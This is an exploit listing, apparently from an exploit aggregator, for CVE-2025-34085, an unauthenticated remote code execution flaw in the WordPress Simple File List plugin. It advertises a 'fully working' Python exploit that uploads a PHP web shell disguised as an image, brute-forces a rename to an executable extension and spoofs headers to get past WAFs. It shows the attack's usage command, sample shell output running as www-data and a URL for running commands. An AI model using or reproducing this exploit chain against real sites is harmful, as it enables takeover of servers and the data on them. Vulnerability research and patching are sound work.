Exploit for CVE-2025-34085

## https://sploitus.com/exploit?id=01E813EE-F0A0-5163-8E0B-1F50A748CA9A
# 📂 Simple File List – Unauthenticated RCE Exploit (CVE-2025-34085)

> ⚠️ Exploit Code by: **Mrj Haxcore**

A fully working Python exploit for the WordPress **Simple File List** plugin (<= 4.2.3), which is vulnerable to **unauthenticated remote code execution (RCE)** due to insecure file upload and rename logic.

---

## 💣 Vulnerability Summary

- **Plugin**: Simple File List (`simple-file-list`)
- **Version**: <= 4.2.3
- **CVE**: CVE-2025-34085
- **Impact**: Unauthenticated users can upload a PHP file disguised as `.png`, then rename it to `.php` and execute arbitrary code.
- **Requirements**: No authentication required
- **Exploit Type**: File Upload → Rename Bypass → Command Execution

---

## ✅ Features

- 🚀 Fully automated exploit chain
- 📤 Manual `multipart/form-data` builder (bypasses 415)
- 🔁 Rename brute-force for `.php`, `.php5`, `.phtml`, etc.
- 🛡️ Realistic spoofed headers to bypass WAFs
- 🐚 Command execution via `?cmd=`
- 🧼 Clean output (no `�PNG` garbage)

---

## 🛠 Usage

```bash
python3 simple.py https://target.site

[+] Uploading shell as 8dkls0qp.png...
[+] Upload successful.
[+] Trying to rename to: 8dkls0qp.php...
[+] Rename successful: 8dkls0qp.php
[+] Triggering shell: https://target.site/wp-content/uploads/simple-file-list/8dkls0qp.php?cmd=id
[+] Shell output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Manual Visit

https://target.site/wp-content/uploads/simple-file-list/8dkls0qp.php?cmd=whoami